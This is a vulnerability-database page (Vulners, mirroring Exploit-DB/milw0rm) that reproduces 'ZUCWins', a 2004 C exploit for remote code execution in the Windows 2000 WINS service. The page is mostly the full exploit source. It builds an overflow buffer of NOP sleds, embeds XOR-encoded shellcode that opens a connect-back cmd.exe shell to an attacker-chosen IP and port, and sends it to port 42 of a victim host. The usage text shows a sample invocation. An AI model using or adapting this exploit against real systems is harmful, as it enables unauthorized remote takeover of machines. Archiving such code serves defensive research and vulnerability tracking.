Lucene search
K

Microsoft Windows Server 2000 - WINS Remote Code Execution

🗓️ 31 Dec 2004 00:00:00Reported by zucType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 39 Views

Microsoft Windows Server 2000 WINS exploit allows remote code execution via security vulnerability.

Code
/*************************************************************/
/* ZUCWins 0.1 - Wins 2000 remote root exploit                                     */
/* Exploit by: zuc <[email protected]>              		                         */ 
/* works on Windows 2000 SP3/SP4 probably every language                  */
/*************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <time.h>
#include <netinet/in.h>
#include <curses.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>

	char shellcode[] =
"\xeb\x25\xe9\xfa\x99\xd3\x77\xf6\x02\x06\x6c\x59\x6c\x59\xf8"
"\x1d\x9c\xde\x8c\xd1\x4c\x70\xd4\x03\x58\x46\x57\x53\x32\x5f"
"\x33\x32\x2e\x44\x4c\x4c\x01\xeb\x05\xe8\xf9\xff\xff\xff\x5d"
"\x83\xed\x2c\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c"
"\xad\x8b\x78\x08\x8d\x5f\x3c\x8b\x1b\x01\xfb\x8b\x5b\x78\x01"
"\xfb\x8b\x4b\x1c\x01\xf9\x8b\x53\x24\x01\xfa\x53\x51\x52\x8b"
"\x5b\x20\x01\xfb\x31\xc9\x41\x31\xc0\x99\x8b\x34\x8b\x01\xfe"
"\xac\x31\xc2\xd1\xe2\x84\xc0\x75\xf7\x0f\xb6\x45\x09\x8d\x44"
"\x45\x08\x66\x39\x10\x75\xe1\x66\x31\x10\x5a\x58\x5e\x56\x50"
"\x52\x2b\x4e\x10\x41\x0f\xb7\x0c\x4a\x8b\x04\x88\x01\xf8\x0f"
"\xb6\x4d\x09\x89\x44\x8d\xd8\xfe\x4d\x09\x75\xbe\xfe\x4d\x08"
"\x74\x17\xfe\x4d\x24\x8d\x5d\x1a\x53\xff\xd0\x89\xc7\x6a\x02"
"\x58\x88\x45\x09\x80\x45\x79\x0c\xeb\x82\x50\x8b\x45\x04\x35"
"\x93\x93\x93\x93\x89\x45\x04\x66\x8b\x45\x02\x66\x35\x93\x93"
"\x66\x89\x45\x02\x58\x89\xce\x31\xdb\x53\x53\x53\x53\x56\x46"
"\x56\xff\xd0\x89\xc7\x55\x58\x66\x89\x30\x6a\x10\x55\x57\xff"
"\x55\xe0\x8d\x45\x88\x50\xff\x55\xe8\x55\x55\xff\x55\xec\x8d"
"\x44\x05\x0c\x94\x53\x68\x2e\x65\x78\x65\x68\x5c\x63\x6d\x64"
"\x94\x31\xd2\x8d\x45\xcc\x94\x57\x57\x57\x53\x53\xfe\xca\x01"
"\xf2\x52\x94\x8d\x45\x78\x50\x8d\x45\x88\x50\xb1\x08\x53\x53"
"\x6a\x10\xfe\xce\x52\x53\x53\x53\x55\xff\x55\xf0\x6a\xff\xff"
"\x55\xe4";

char mess[] =
"\x00\x03\x0d\x4c\x77\x77\xFF\x77\x05\x4e\x00\x3c\x01\x02\x03\x04"
//  "\x00\x03\x0d\x4c\x77\x77\xFF\x77\x05\x4e\x00\x3c\x01\x02\x03\x04"
	
"\x6c\xf4\x3d\x05\x00\x02\x4e\x05\x00\x02\x4e\x05\x00\x02\x4e\x05\x00\x02\
x4e\x05\x00\x02\x4e\x05\x00\x02\x4e\x05\x00\x02\x4e\x05\x00\x02\x4e\x05";
char rep[] =
	
"\x90\x01\x4e\x05\x90\x00\x4e\x05\x90\x00\x4e\x05\x90\x00\x4e\x05\x90\x00\
x4e\x05\x90\x00\x4e\x05\x90\x00\x4e\x05\x90\x03\x4e\x05\x90\x00\x4e\x05";
void usage();

int main(int argc, char *argv[])
{ 
int i,sock,sock2,sock3,addr,len=16;
int rc;
  unsigned long XORIP = 0x93939393;
  unsigned short XORPORT = 0x9393;
int cbport;
long cbip;

struct sockaddr_in mytcp;
struct hostent * hp;

if(argc<4 || argc>4)
usage();

cbport = htons(atoi(argv[3]));
cbip = inet_addr(argv[2]);
cbport ^= XORPORT;
cbip ^= XORIP;
memcpy(&shellcode[2],&cbport,2);
memcpy(&shellcode[4],&cbip,4);

char mess2[200000];
memset(mess2,0,sizeof(mess2));
char mess3[210000];
memset(mess3,0,sizeof(mess3));
int ir;
for(ir =0;ir<200000;ir++)mess2[ir]='\x90';
memcpy(mess3,mess,sizeof(mess)-1);
int r=0;int le=sizeof(mess)-1;
for(r;r<30;r++)
{
	memcpy(mess3+le,rep,sizeof(rep)-1);
	le+=sizeof(rep)-1;
}
memcpy(mess3+le,mess2,200000);
memcpy(mess3+le+198000,shellcode,sizeof(shellcode));
int lenr=le+200000+sizeof(shellcode);
hp = gethostbyname(argv[1]);

addr = inet_addr(argv[1]);

sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (!sock)
{ 
//printf("socket() error...\n");
exit(-1);
}

mytcp.sin_addr.s_addr = addr;

mytcp.sin_family = AF_INET;

mytcp.sin_port=htons(42);

printf("[*] connecting the target\n");

rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct 
sockaddr_in));
printf("[*] sending exploit\n");
send(sock,mess3,lenr,0);
printf("[*] exploit sent\n");
sleep(5);
shutdown(sock,1);
close(sock);
shutdown(sock,2);
close(sock2);
shutdown(sock,3);
close(sock3);
exit(0);
}

void usage()
{
unsigned int a;
printf("\nUsage: <victim-host> <connectback-ip> <connectback port>\n");
printf("Sample: ZUC-WINShit www.vulnwins.com 31.33.7.23 31337\n\n");
exit(0);
}

// milw0rm.com [2004-12-31]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation